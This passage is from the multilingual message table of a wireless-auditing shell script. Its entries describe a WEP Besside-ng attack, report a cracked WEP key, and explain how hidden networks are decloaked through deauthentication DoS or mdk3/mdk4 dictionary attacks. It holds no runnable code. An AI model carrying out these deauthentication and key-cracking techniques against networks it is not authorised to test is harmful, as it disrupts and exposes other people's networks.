\"\${normal_color}arping\${yellow_color}\" criada por Thomas Habets para aproveitar esta funcionalidade. Esta versão da ferramenta é muito difundida e está presente em quase todos os repositórios das diferentes distribuições Linux. Mais informações sobre ferramentas em nossa Wiki: \${normal_color}\${urlgithub_wiki}/Internal%20Tools" arr["RUSSIAN",722]="Данная атака дополнительно использует инструмент \"\${normal_color}arping\${yellow_color}\", позволяющий узнать, активны ли на данный момент клиенты целевой сети. Однако, похоже, что у вас установлена неподходящая версия из пакета \"\${normal_color}iputils-arping\${yellow_color}\", которую в данном случае использовать нельзя. Чтобы воспользоваться этой функцией, установите инструмент \"\${normal_color}arping\${yellow_color}\", созданный Томасом Хабетсом. Эта версия инструмента очень широко распространена и присутствует почти во всех репозиториях различных дистрибутивов Linux. Дополнительную информацию о внутренних инструментах можно найти на нашей Wiki: \${normal_color}\${urlgithub_wiki}/Internal%20Tools" arr["GREEK",722]="Αυτή η επίθεση χρησιμοποιεί το εσωτερικό εργαλείο \"\${normal_color}arping\${yellow_color}\" ως πρόσθετη λειτουργία για να εντοπίζει εάν οι clients που συνδέονται στο δίκτυο είναι ακόμα ενεργοί. Δυστυχώς, φαίνεται ότι το σύστημά σας δεν έχει την κατάλληλη έκδοση και χρησιμοποιεί αυτή που ανήκει στο πακέτο \"\${normal_color}iputils-arping\${yellow_color}\" όπου σε αυτήν την περίπτωση δεν μπορεί να χρησιμοποιηθεί. Εγκαταστήστε το εργαλείο \"\${normal_color}arping\${yellow_color}\" που δημιουργήθηκε από τον Thomas Habets για να απολαύσετε αυτήν τη λειτουργία. Αυτή η έκδοση του εργαλείου είναι πολύ διαδεδομένη και υπάρχει σχεδόν σε όλα τα repositories των διαφορετικών διανομών Linux. Περισσότερες πληροφορίες σχετικά με τα εσωτερικά εργαλεία στο Wiki μας: \${normal_color}\${urlgithub_wiki}/Internal%20Tools" arr["ITALIAN",722]="Questo attacco utilizza la tool interna \"\${normal_color}arping\${yellow_color}\" come funzionalità aggiuntiva per sapere se i clienti che si connettono alla rete sono ancora attivi. Sfortunatamente, sembra che il tuo sistema non disponga della versione appropriata e stia utilizzando quella del pacchetto \"\${normal_color}iputils-arping\${yellow_color}\" che non può essere utilizzata in questo caso. Installa la tool \"\${normal_color}arping\${yellow_color}\" creata da Thomas Habets per usufruire di questa funzionalità. Questa versione della tool è molto diffusa ed è presente in quasi tutti i repository delle diverse distribuzioni Linux. Maggiori informazioni riguardo le tools interne nella nostra Wiki: \${normal_color}\${urlgithub_wiki}/Internal%20Tools" arr["POLISH",722]="Atak ten wykorzystuje wewnętrzne narzędzie \"\${normal_color}arping\${yellow_color}\" jako dodatkową funkcję pozwalającą sprawdzić, czy klienci łączący się z siecią są nadal aktywni. Niestety wygląda na to, że Twój system nie ma odpowiedniej wersji, lecz korzysta z tej, która należy do pakietu \"\${normal_color}iputils-arping\${yellow_color}\" i której nie można użyć w tym przypadku. Aby móc korzystać z tej funkcjonalności, zainstaluj narzędzie \"\${normal_color}arping\${yellow_color}\" stworzone przez Thomasa Habetsa. Ta wersja narzędzia jest bardzo rozpowszechniona i jest obecna w prawie wszystkich repozytoriach różnych dystrybucji Linuksa. Więcej informacji o narzędziach wewnętrznych na naszej Wiki: \${normal_color}\${urlgithub_wiki}/Internal%20Tools" arr["GERMAN",722]="Dieser Angriff nutzt das interne Tool \"\${normal_color}arping\${yellow_color}\" als zusätzliche Funktionalität, um festzustellen, ob die Clients, die eine Verbindung zum Netzwerk herstellen, noch aktiv sind. Leider scheint es, dass Ihr System nicht über die entsprechende Version verfügt und die Version verwendet, die zum Paket \"\${normal_color}iputils-arping\${yellow_color}\" gehört und in diesem Fall nicht verwendet werden kann. Bitte installieren Sie das von Thomas Habets erstellte Tool \"\${normal_color}arping\${yellow_color}\", um diese Funktionalität nutzen zu können. Diese Version des Tools ist sehr weit verbreitet und in fast allen Repositories der verschiedenen Linux-Distributionen vorhanden. Weitere Informationen zu internen Tools in unserem Wiki: \${normal_color}\${urlgithub_wiki}/Internal%20Tools" arr["TURKISH",722]="Bu saldırı, ağa bağlanan istemcilerin hala etkin olup olmadığını bilmek için ek işlevsellik olarak dahili \"\${normal_color}arping\${yellow_color}\" aracını kullanır. Ancak maalesef sisteminizin uygun sürüme sahip olmadığı ve \"\${normal_color}iputils-arping\${yellow_color}\" paketine ait olanı kullandığı ve bu durumda kullanılamadığı görülüyor. Bu işlevsellikten yararlanmak için lütfen Thomas Habets tarafından oluşturulan \"\${normal_color}arping\${yellow_color}\" aracını yükleyin. Aracın bu sürümü oldukça yaygındır ve farklı Linux dağıtımlarının hemen hemen tüm depolarında mevcuttur. Wiki'mizde dahili araçlar hakkında daha fazla bilgi bulabilirsiniz: \${normal_color}\${urlgithub_wiki}/Internal%20Tools" arr["ARABIC",722]="\${normal_color}\${urlgithub_wiki}/Internal%20Tools:\${yellow_color} الخاص بنا wikiالمختلفة. للمزيد من المعلومات حول الأدوات الداخلية في ال Linux للاستمتاع بهذه الوظيفة. هذا الإصدار من الأداة واسع الانتشار وموجود تقريبًا في جميع مستودعات توزيعات Thomas Habets التي أنشأها \"\${normal_color}arping\${yellow_color}\" الذي لا يمكن استخدامه في هذه الحالة. الرجاء تثبيت أداة \"\${normal_color}iputils-arping\${yellow_color}\" كاداة داخلية وظيفتها لمعرفة إذا كان العملاء المتصلون بالشبكة لا يزالون نشطين. لكن لسوءالحظ، يبدو أن نظامك لا يحتوي على الإصدار المناسب ويستخدم \"\${normal_color}arping\${yellow_color}\" يستخدم هذا الهجوم أداة\${normal_color}" arr["CHINESE",722]="此攻击使用内部 \"\${normal_color}arping\${yellow_color}\" 工具发现连接到网络的客户端是否仍然处于活动状态。但不幸的是,您的系统似乎没有合适的版本,并且正在使用属于 \"\${normal_color}iputils-arping\${yellow_color}\" 包的版本,这种情况下该功能无法使用。请安装 Thomas Habets 创建的 \"\${normal_color}arping\${yellow_color}\" 工具来享受此功能。该版本的工具应用非常广泛,几乎存在于不同 Linux 发行版的所有存储库中。有关内部工具的更多信息,请参阅我们的 Wiki:\${normal_color}\${urlgithub_wiki}/Internal%20Tools" arr["ENGLISH",723]="6. WEP Besside-ng attack" arr["SPANISH",723]="6. Ataque WEP Besside-ng" arr["FRENCH",723]="6. Attaque WEP Besside-ng" arr["CATALAN",723]="6. Atac WEP Besside-ng" arr["PORTUGUESE",723]="6. Ataque WEP Besside-ng" arr["RUSSIAN",723]="6. Атака Besside-ng на WEP" arr["GREEK",723]="6. Επίθεση WEP Besside-ng" arr["ITALIAN",723]="6. Attacco WEP Besside-ng" arr["POLISH",723]="6. Atak WEP Besside-ng" arr["GERMAN",723]="6. WEP Besside-ng-Angriff" arr["TURKISH",723]="6. WEP Besside-ng saldırısı" arr["ARABIC",723]="6. WEP Besside-ng هجوم ال" arr["CHINESE",723]="6. WEP Besside-ng 攻击" arr["ENGLISH",724]="WEP key decrypted successfully. The password was saved on file [\${normal_color}\${weppotenteredpath}\${blue_color}]" arr["SPANISH",724]="Clave WEP descifrada con éxito. La contraseña se ha guardado en el fichero [\${normal_color}\${weppotenteredpath}\${blue_color}]" arr["FRENCH",724]="Clé WEP déchiffré. Le mot de passe est enregistré dans le fichier [\${normal_color}\${weppotenteredpath}\${blue_color}]" arr["CATALAN",724]="Clau WEP desxifrada amb èxit. La contrasenya s'ha guardat en el fitxer [\${normal_color}\${weppotenteredpath}\${blue_color}]" arr["PORTUGUESE",724]="A senha da rede WEP foi descriptografada com sucesso. A senha foi salva no arquivo [\${normal_color}\${weppotenteredpath}\${blue_color}]" arr["RUSSIAN",724]="WEP ключ успешно расшифрован. Пароль был сохранён в файле [\${normal_color}\${weppotenteredpath}\${blue_color}]" arr["GREEK",724]="Το κλειδί WEP αποκρυπτογραφήθηκε με επιτυχία. Ο κωδικός πρόσβασης αποθηκεύτηκε στο αρχείο [\${normal_color}\${weppotenteredpath}\${blue_color}]" arr["ITALIAN",724]="Chiave WEP decifrata con successo. La password è stata salvata nel file [\${normal_color}\${weppotenteredpath}\${blue_color}]" arr["POLISH",724]="Klucz WEP odszyfrowywany prawidłowo. Hasło zostało zapisane do pliku [\${normal_color}\${weppotenteredpath}\${blue_color}]" arr["GERMAN",724]="WEP-Schlüssel erfolgreich entschlüsselt. Das Passwort wurde in der Datei gespeichert [\${normal_color}\${weppotenteredpath}\${blue_color}]" arr["TURKISH",724]="WEP anahtarı başarıyla çözüldü. Şifre dosyaya kaydedildi [\${normal_color}\${weppotenteredpath}\${blue_color}]" arr["ARABIC",724]="[\${normal_color}\${weppotenteredpath}\${blue_color}] بنجاحز. تم حفظ كلمة المرور في الملف WEP تم فك تشفير مفتاح" arr["CHINESE",724]="WEP 密钥解密成功。密码已保存至文件 [\${normal_color}\${weppotenteredpath}\${blue_color}]" arr["ENGLISH",725]="8. Decloaking by deauthentication" arr["SPANISH",725]="8. Decloaking por desautenticación" arr["FRENCH",725]="8. Décloaking par désauthentification" arr["CATALAN",725]="8. Decloaking per desautenticació" arr["PORTUGUESE",725]="8. Descamuflagem via desautenticação" arr["RUSSIAN",725]="8. Раскрытие деаутентификацией" arr["GREEK",725]="8. Decloaking με deauthentication" arr["ITALIAN",725]="8. Decloaking tramite deautenticazione" arr["POLISH",725]="8. Decloaking poprzez cofnięcie uwierzytelnienia (deauthentication)" arr["GERMAN",725]="8. Decloaking durch Deauthentifizierung" arr["TURKISH",725]="8. Deauthentication kullanarak Decloaking" arr["ARABIC",725]="8. كشف الهوية عن طريق إلغاء المصادقة" arr["CHINESE",725]="8. 攻击已连接到隐藏无线网络的客户端从而捕获隐藏的网络" arr["ENGLISH",726]="9. (\${mdk_command}) Decloaking by dictionary" arr["SPANISH",726]="9. (\${mdk_command}) Decloaking por diccionario" arr["FRENCH",726]="9. (\${mdk_command}) Decloaking par dictionnaire" arr["CATALAN",726]="9. (\${mdk_command}) Decloaking per diccionari" arr["PORTUGUESE",726]="9. (\${mdk_command}) Descamuflagem via dicionário" arr["RUSSIAN",726]="9. (\${mdk_command}) Раскрытие по словарю" arr["GREEK",726]="9. (\${mdk_command})Decloaking από λεξικό" arr["ITALIAN",726]="9. (\${mdk_command}) Decloaking tramite dizionario" arr["POLISH",726]="9. (\${mdk_command}) Decloaking według słownika" arr["GERMAN",726]="9. (\${mdk_command}) Decloaking per Wörterliste" arr["TURKISH",726]="9. (\${mdk_command}) Sözlük kullanarak Decloaking" arr["ARABIC",726]="9. (\${mdk_command}) فك التشفير عن طريق القاموس" arr["CHINESE",726]="9. (\${mdk_command}) 通过字典解密" arr["ENGLISH",727]="monitor mode needed for decloaking" arr["SPANISH",727]="modo monitor requerido para decloaking" arr["FRENCH",727]="mode moniteur nécessaire pour decloaking" arr["CATALAN",727]="mode monitor requerit en decloaking" arr["PORTUGUESE",727]="modo monitor necessário para descamuflagem" arr["RUSSIAN",727]="для демаскировки необходим monitor mode" arr["GREEK",727]="χρειάζεται το monitor mode για decloaking" arr["ITALIAN",727]="modo monitor necessario per il decloaking" arr["POLISH",727]="tryb monitorowania potrzebny do decloaking" arr["GERMAN",727]="Monitormodus erforderlich für Decloaking" arr["TURKISH",727]="decloaking için izleme modu gereklidir" arr["ARABIC",727]="وضع المراقبة مطلوب لكشف الهوية" arr["CHINESE",727]="攻击隐藏的接入点需要监听模式 (monitor mode)" arr["ENGLISH",728]="The ESSID of a hidden network is revealed when a client legitimately connects to it. Therefore, one way to decloaking it is to deauthenticate clients to force them to reconnect and thus discover the network name" arr["SPANISH",728]="El ESSID de una red oculta se muestra cuando un cliente se conecta de manera legítima a ella. Por lo tanto, una forma de hacer el decloaking es desautenticar a los clientes para forzarles a conectar de nuevo y así descubrir el nombre de la red" arr["FRENCH",728]="L'ESSID d'un réseau caché s'affiche lorsqu'un client s'y connecte légitimement. Par conséquent, une façon de procéder au decloaking consiste à désauthentifier les clients pour les forcer à se reconnecter et ainsi découvrir le nom du réseau" arr["CATALAN",728]="L'ESSID d'una xarxa oculta es mostra quan un client s'hi connecta de manera legítima. Per tant, una manera de fer el decloaking és desautenticar els clients per forçar-los a connectar de nou i així descobrir el nom de la xarxa" arr["PORTUGUESE",728]="O ESSID de uma rede wifi oculta é exibido quando um cliente se conecta. Portanto, uma forma de fazer a descamuflagem é desautenticar os clientes para forçá-los reconectar e assim descobrir o nome da rede wifi" arr["RUSSIAN",728]="ESSID скрытой сети отображается, когда клиент успешно подключается к ней. Таким образом, один из способов раскрытия ESSID — деаутентификация клиентов, чтобы заставить их переподключиться и таким образом узнать имя сети" arr["GREEK",728]="Το ESSID ενός κρυφού δικτύου εμφανίζεται όταν έναs client συνδέεται θεμιτά σε αυτό. Επομένως, ένας τρόπος για decloaking είναι να κάνετε deauthenticate τους clients για να τους αναγκάσετε να επανασυνδεθούν και έτσι να ανακαλύψετε το όνομα του δικτύου" arr["ITALIAN",728]="L'ESSID di una rete nascosta viene visualizzato quando un cliente si connette legittimamente ad essa. Pertanto, un modo per eseguire il decloaking è disautenticare i clienti per forzarli a connettersi nuovamente e scoprire così il nome della rete" arr["POLISH",728]="Identyfikatory ESSID sieci ukrytych są wyświetlane (demaskowane) dopiero wtedy, gdy klient prawidłowo się z nią łączy. Dlatego jednym ze sposobów demaskowania jest cofnięcie uwierzytelnienia klientów, wymuszając na nich ponowne połączenie i w ten sposób odkryć nazwę sieci" arr["GERMAN",728]="Die ESSID eines versteckten Netzwerks wird angezeigt, wenn ein Client eine legitime Verbindung dazu öffnet. Daher besteht eine Möglichkeit zum Decloaking darin, Clients zu deauthentifizieren, um sie zu zwingen, sich erneut zu verbinden und so den Netzwerknamen herauszufinden" arr["TURKISH",728]="Gizli bir ağın ESSID'si, bir istemci ağa yasal olarak bağlandığında görüntülenir. Bu nedenle, gizlemeyi kaldırmanın bir yolu, istemcilerin kimlik doğrulamasını kaldırarak onları tekrar bağlanmaya zorlamak ve böylece ağ adını keşfetmektir" arr["ARABIC",728]="لشبكه المخفية عندما يتصل احد العملاء بطريقة شرعية. احدى الطرق لكشف الشبكة هي الغاء مصادقة العملاء لاجبارهم علي اعادة الاتصال و بالتالي يتم اكتشاف اسم الشبكة ESSID يتم الكشف عن ال" arr["CHINESE",728]="当客户端合法连接到隐藏的网络时,会显示其 ESSID。因此,破解它的一种方法是迫使连接到它客户端重新进行身份验证,强制它们再次连接,从而发现网络名称" arr["ENGLISH",729]="Another way to decloak a network with a hidden ESSID is to launch a dictionary attack using mdk3/mdk4. All the words in the dictionary will be tested and if any match the ESSID, the ESSID will be exposed" arr["SPANISH",729]="Otra manera de hacer decloaking sobre una red con ESSID oculto, es lanzar un ataque de diccionario usando mdk3/mdk4. Se probarán todas las palabras del diccionario y si alguna coincide con el ESSID, éste quedará al descubierto" arr["FRENCH",729]="Une autre façon du faire decloaking sur un réseau avec un ESSID masqué consiste à lancer une attaque par dictionnaire avec l'aide de mdk3/mdk4. Tous les mots du dictionnaire seront testés et si l'un d'entre eux correspond à l'ESSID, il sera révélé" arr["CATALAN",729]="Una altra manera de fer decloaking sobre una xarxa amb ESSID ocult, és llançar un atac de diccionari usant mdk3/mdk4. Es provaran totes les paraules del diccionari i si alguna coincideix amb l'ESSID, aquest quedarà al descobert" arr["PORTUGUESE",729]="Outra maneira de descamuflar uma rede wifi com ESSID oculto é executar um ataque de dicionário usando mdk3/mdk4. Todas as palavras do dicionário serão testadas e caso alguma corresponda o ESSID será revelada" arr["RUSSIAN",729]="Другой способ раскрыть сеть со скрытым ESSID — запустить атаку по словарю с использованием mdk3/mdk4. Будет выполнена проверка по словарю, и если будет совпадение с ESSID скрытой сети, то ESSID станет известен" arr["GREEK",729]="Ένας άλλος τρόπος για να αποκαλύψετε ένα δίκτυο με κρυφό ESSID είναι να πραγματοποιήσετε επίθεση λεξικού χρησιμοποιώντας mdk3/mdk4. Όλες οι λέξεις στο λεξικό θα ελεγχθούν και εάν κάποια ταιριάζει με το ESSID, θα αποκαλυφθεί" arr["ITALIAN",729]="Un altro modo per fare decloaking di una rete con ESSID nascosto è lanciare un attacco con dizionario utilizzando mdk3/mdk4. Tutte le parole nel dizionario verranno testate e se qualcuna corrisponde all'ESSID, verrà rivelata" arr["POLISH",729]="Innym sposobem na zdemaskowanie sieci z ukrytym identyfikatorem ESSID jest przeprowadzenie ataku słownikowego przy użyciu mdk3/mdk4. Wszystkie słowa w słowniku zostaną przetestowane i jeśli któreś z nich będzie odpowiadać identyfikatorowi ESSID, zostanie on zdemaskowany" arr["GERMAN",729]="Eine andere Möglichkeit, ein Netzwerk mit versteckter ESSID zu decloaken, besteht darin, einen Wörterlisteangriff mit mdk3/mdk4 zu starten. Alle Wörter in der Wörterliste werden getestet und wenn eines mit der ESSID übereinstimmt, wird es angezeigt" arr["TURKISH",729]="Gizli ESSID ile bir ağı açığa çıkarmanın başka bir yolu da mdk3/mdk4 kullanarak bir sözlük saldırısı başlatmaktır. Sözlükteki tüm kelimeler test edilecek ve eğer ESSID ile eşleşiyorsa ortaya çıkacak" arr["ARABIC",729]="ESSID فسيتم كشف ال ,ESSID كل الكلمات الموجودة في القاموس سيتم اختبارها واذا طابقت اي كلمه ال .mdk3/mdk4 مخفي هي شن هجوم بالقاموس باستعمال ESSID طريقة اخري لكشف شبكة ذات" arr["CHINESE",729]="解密具有隐藏 ESSID 的网络的另一种方法是使用 mdk3/mdk4 发起字典攻击。字典中的所有字符串都会被测试,如果有与 ESSID 匹配的,就会显示出来" arr["ENGLISH",730]="You have a target hidden network selected. Script can continue..." arr["SPANISH",730]="Tienes una red oculta objetivo seleccionada. El script puede continuar..." arr["FRENCH",730]="Vous avez sélectionné un réseau masqué cible. Le script peut continuer..." arr["CATALAN",730]="Teniu una xarxa oculta objectiu seleccionada. El script pot continuar..." arr["PORTUGUESE",730]="Você tem uma rede wifi oculta selecionada. O script pode continuar..." arr["RUSSIAN",730]="Вы выбрали целевую скрытую сеть. Скрипт может продолжить..." arr["GREEK",730]="Έχετε επιλέξει ένα κρυφό δίκτυο στόχου. Το script μπορεί να συνεχίσει..." arr["ITALIAN",730]="Hai selezionato una rete nascosta come obiettivo. Lo script può continuare..." arr["POLISH",730]="Wybrano ukrytą sieć jako docelową. Skrypt może kontynuować..." arr["GERMAN",730]="Sie haben ein verstecktes Zielnetzwerk ausgewählt. Das Skript kann fortfahren..." arr["TURKISH",730]="Seçili bir hedef gizli ağınız var. Yazılım devam edebilir..." arr["ARABIC",730]="...لديك شبكة مخفيه مستهدفه. يمكنك الاستمرار" arr["CHINESE",730]="您已选择的目标是隐藏的无线网络。脚本可以继续..." arr["ENGLISH",731]="Cannot continue. No target hidden network selected" arr["SPANISH",731]="No se puede continuar. No hay una red oculta objetivo seleccionada" arr["FRENCH",731]="On ne peux pas continuer. Aucun réseau masqué cible sélectionné" arr["CATALAN",731]="No es pot continuar. No hi ha una xarxa oculta objectiu seleccionada" arr["PORTUGUESE",731]="Não posso continuar. Nenhuma rede wifi oculta selecionada" arr["RUSSIAN",731]="Невозможно продолжить. Целевая скрытая сеть не выбрана" arr["GREEK",731]="Δεν μπορεί να συνεχιστεί. Δεν έχει επιλεγεί κρυφό δίκτυο στόχου" arr["ITALIAN",731]="Impossibile continuare. Nessuna rete nascosta selezionata come obiettivo" arr["POLISH",731]="Nie można kontynuować. Nie wybrano ukrytej sieci jako celu" arr["GERMAN",731]="Kann nicht fortfahren. Kein verstecktes Zielnetzwerk ausgewählt" arr["TURKISH",731]="Devam edemiyor. Hedef gizli ağ seçilmedi" arr["ARABIC",731]="لا يمكن الاستمرار. لم يتم تحديد أي شبكة مخفية مستهدفة" arr["CHINESE",731]="无法继续。当前选择的目标不是隐藏的无线网络" arr["ENGLISH",732]="Attack to Decloak" arr["SPANISH",732]="Ataque para Decloak" arr["FRENCH",732]="Attaque pour Decloak" arr["CATALAN",732]="Atac per a Decloak" arr["PORTUGUESE",732]="Ataque para descamuflagem" arr["RUSSIAN",732]="Атака на раскрытие ESSID" arr["GREEK",732]="Επίθεση για Decloak" arr["ITALIAN",732]="Attacco tramite Decloak" arr["POLISH",732]="Atak w celu Decloak" arr["GERMAN",732]="Decloaking Angriff" arr["TURKISH",732]="Decloak Saldırısı" arr["ARABIC",732]="الهجوم لكشف التخفي" arr["CHINESE",732]="攻击隐藏的网络" arr["ENGLISH",733]="If a DoS attack doesn't work, it could be due to multiple reasons. It is recommended to see the Wiki section about it: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["SPANISH",733]="Si un ataque DoS no funciona, puede ser debido a múltiples motivos. Se recomienda ver el apartado del Wiki al respecto: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["FRENCH",733]="Si une attaque DoS ne fonctionne pas, cela peut être dû à plusieurs raisons. Il est recommandé de consulter la section Wiki à ce sujet: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["CATALAN",733]="Si un atac DoS no funciona, pot ser degut a múltiples motius. Es recomana veure l'apartat del Wiki sobre això: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["PORTUGUESE",733]="O ataque DoS pode não funcionar por vários motivos. Consulte a Wiki para mais informações sobre este assunto: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["RUSSIAN",733]="Если DoS-атака не сработала, это может быть вызвано несколькими причинами. Рекомендуется ознакомиться с соответствующим разделом на Wiki: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["GREEK",733]="Εάν μια επίθεση DoS δεν λειτουργεί, μπορεί να οφείλεται σε πολλούς λόγους. Συνιστάται να δείτε την ενότητα Wiki για αυτό το θέμα: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["ITALIAN",733]="Se un attacco DoS non funziona, le ragioni potrebbero essere molteplici. Si consiglia di consultare la sezione della Wiki su questo argomento: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["POLISH",733]="Nie działający atak DoS może wynikać z wielu różnych powodów. Zalecane jest zapoznanie się z sekcją Wiki dotyczącą tej kwestii: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["GERMAN",733]="Wenn ein DoS-Angriff nicht funktioniert, kann das mehrere Gründe haben. Es wird empfohlen, den Wiki-Abschnitt zu diesem Thema zu lesen: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["TURKISH",733]="Bir DoS saldırısı işe yaramazsa bunun birçok nedeni olabilir. Bu konuyla ilgili Wiki bölümüne bakmanız önerilir: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["ARABIC",733]="\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do \${pink_color}:حول هذا الأمر Wiki فقد يكون ذلك نتيجة لعدة أسباب. يوصى بالاطلاع على ال ,DOS إذا لم ينجح هجوم ال" arr["CHINESE",733]="如果 DoS 攻击不起作用,可能有多种原因。建议查看关于此问题的 Wiki 部分:\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["ENGLISH",734]="Two windows will be opened. One is used to capture and decloak and another one will stop after a few seconds with the DoS attack to force clients to reconnect" arr["SPANISH",734]="Se abrirán dos ventanas. Una se utiliza para capturar y hacer el decloak y otra que se detendrá después de unos segundos con el ataque DoS para obligar a los clientes a reconectarse" arr["FRENCH",734]="Deux fenêtres s'ouvriront. L'un est utilisé pour capturer et faire le decloak et un autre qui s'arrêtera après quelques secondes avec l'attaque DoS pour forcer les clients à se reconnecter" arr["CATALAN",734]="S'obriran dues finestres. Una s'utilitza per capturar i fer el decloak i un altra que s'aturarà després d'uns segons amb l'atac DoS per obligar els clients a reconnectar-se" arr["PORTUGUESE",734]="Duas janelas serão abertas. Uma é usado para captura e descamuflagem e a outra que irá parar após alguns segundos, pelo ataque DoS para forçar os clientes a se reconectarem" arr["RUSSIAN",734]="Будет открыто два окна. Одно будет использоваться для захвата и раскрытия ESSID, а другое (прекратит работу через несколько секунд), запустит DoS-атаку для принуждения клиентов к переподключению" arr["GREEK",734]="Θα ανοίξουν δύο παράθυρα. Το ένα χρησιμοποιήτε για τη capture και decloak ενώ το άλλο θα σταματήσει μετά από λίγα δευτερόλεπτα με την επίθεση DoS για να αναγκάσει τους πελάτες να επανασυνδεθούν" arr["ITALIAN",734]="Si apriranno due finestre. Una viene utilizzato per catturare e fare il decloak e un'altra che si fermerà dopo pochi secondi con l'attacco DoS per costringere i client a riconnettersi" arr["POLISH",734]="Zostaną otwarte dwa okna. Jedno używane do przechwytywania w celu decloak i drugie z atakiem DoS, aby zmusić klientów do ponownego połączenia. Te drugie okno zatrzyma się po kilku sekundach" arr["GERMAN",734]="Es werden zwei Fenster geöffnet. Eines dient zum Aufzeichnen des Decloakings und das andere dient zum DoS-Angriff und wird nach einigen Sekunden beendet. Dies zwingt die Clients sich erneut zu verbinden." arr["TURKISH",734]="İki pencere açılacak. Biri decloak ve yakalamada kullanılacak, diğeri ise DoS saldırısıyla kullanicıları yeniden bağlamak için birkaç saniye sonra duracak" arr["ARABIC",734]="لإجبار العملاء على إعادة الاتصال، والذي سيتوقف بعد بضع ثوانٍ DOS سيتم فتح نافذتين. واحدة تستخدم لالتقاط البيانات من أجل كشف الشبكة والأخرى تستخدم لهجوم ال" arr["CHINESE",734]="现在将打开两个窗口。一个用于捕获发现的无线网络,另一个用于 DoS 攻击以强制客户端重新连接,该攻击将在几秒钟后停止" arr["ENGLISH",735]="Don't close any window manually, the script will do it when appropriate. In about \${timeout} seconds maximum you'll know if you managed to do the decloak" arr["SPANISH",735]="No cierres manualmente ninguna ventana, el script lo hará cuando proceda. En unos \${timeout} segundos como máximo sabrás si conseguiste hacer el decloak" arr["FRENCH",735]="Ne fermez aucune fenêtre manuellement, le script le fera quand il doit être faite. Dans quelques \${timeout} secondes au maximum, vous saurez si vous avez réussi à effectuer le decloak" arr["CATALAN",735]="No tanquis manualment cap finestra, l'script ho farà quan escaigui. En uns \${timeout} segons com a màxim sabràs si vas aconseguir fer el decloak" arr["PORTUGUESE",735]="Não feche manualmente nenhuma janela, o script fará isso quando for apropriado. Em \${timeout} segundos no máximo você saberá se conseguiu fazer a descamuflagem" arr["RUSSIAN",735]="Не закрывайте окна вручную, при необходимости скрипт сделает это сам. Примерно через \${timeout} секунд вы узнаете, удалось ли вам раскрыть ESSID" arr["GREEK",735]="Μην κλείνετε κανένα παράθυρο χειροκίνητα, θα το κάνει το script όταν χρειάζεται. Σε λίγα \${timeout} δευτερόλεπτα το πολύ θα ξέρετε αν καταφέρατε να κάνατε το decloak" arr["ITALIAN",735]="Non chiudere manualmente nessuna finestra, lo script lo farà nel momento appropriato. In pochi \${timeout} secondi al massimo saprai se sei riuscito ad eseguire il decloak" arr["POLISH",735]="Nie zamykaj ręcznie żadnych okien, skrypt zrobi to, gdy zajdzie taka potrzeba. Już za kilka \${timeout} sekund będziesz wiedział, czy udało ci się zdemaskować ESSID" arr["GERMAN",735]="Schließen Sie keine Fenster manuell, das Skript wird dies bei Bedarf tun. In höchstens ein paar \${timeout} Sekunden werden Sie wissen, ob Ihnen das Decloaking gelungen ist" arr["TURKISH",735]="Hiçbir pencereyi manuel olarak kapatmayın; komut dosyası uygun olduğunda bunu yapacaktır. En fazla birkaç \${timeout} saniye içinde decloak'ı başarıp başaramadığınızı bileceksiniz" arr["ARABIC",735]="ثوانٍ على الأكثر، ستعرف إذا كنت قد تمكنت من كشف الشبكة أم لا \${timeout} لا تغلق أي نوافذ يدويًا، فسيقوم البرنامج بذلك عندما يكون مناسبًا. في بضع" arr["CHINESE",735]="请不要手动关闭任何窗口,脚本会在适当的时候执行此操作。最多在 \${timeout} 秒内你就会知道你是否成功地完成了解密" arr["ENGLISH",736]="The target hidden network has been successfully decloaked. It is now automatically selected. ESSID: \${normal_color}\${essid}" arr["SPANISH",736]="Se ha hecho correctamente el decloak a la red oculta objetivo. Ahora se ha seleccionado automáticamente. ESSID: \${normal_color}\${essid}" arr["FRENCH",736]="On a fait le decloak correctament à le réseau masqué cible. Il a maintenant été sélectionné automatiquement. ESSID: \${normal_color}\${essid}" arr["CATALAN",736]="S'ha fet correctament el decloak a la xarxa amagada objectiu. Ara s'ha seleccionat automàticament. ESSID: \${normal_color}\${essid}" arr["PORTUGUESE",736]="A rede wifi oculta foi descamuflada com sucesso e foi selecionada automaticamente. ESSID: \${normal_color}\${essid}" arr["RUSSIAN",736]="Скрытая сеть была успешно раскрыта и автоматически выбрана целевой. ESSID: \${normal_color}\${essid}" arr["GREEK",736]="Το κρυφό δίκτυο στόχος έγινε decloaked με επιτυχία. Έχει πλέον επιλεγεί αυτόματα. ESSID: \${normal_color}\${essid}" arr["ITALIAN",736]="La rete nascosta obiettivo è stata decloaked con successo. Ora è stata selezionata automaticamente. ESSID: \${normal_color}\${essid}" arr["POLISH",736]="Docelowa ukryta sieć została pomyślnie zdemaskowana oraz wybrana automatycznie. ESSID: \${normal_color}\${essid}" arr["GERMAN",736]="Das versteckte Zielnetzwerk wurde erfolgreich enttarnt. Es wurde nun automatisch ausgewählt. ESSID: \${normal_color}\${essid}" arr["TURKISH",736]="Hedef gizli ağ decloaked edildi. Otomatik olarak seçilmiştir. ESSID: \${normal_color}\${essid}" 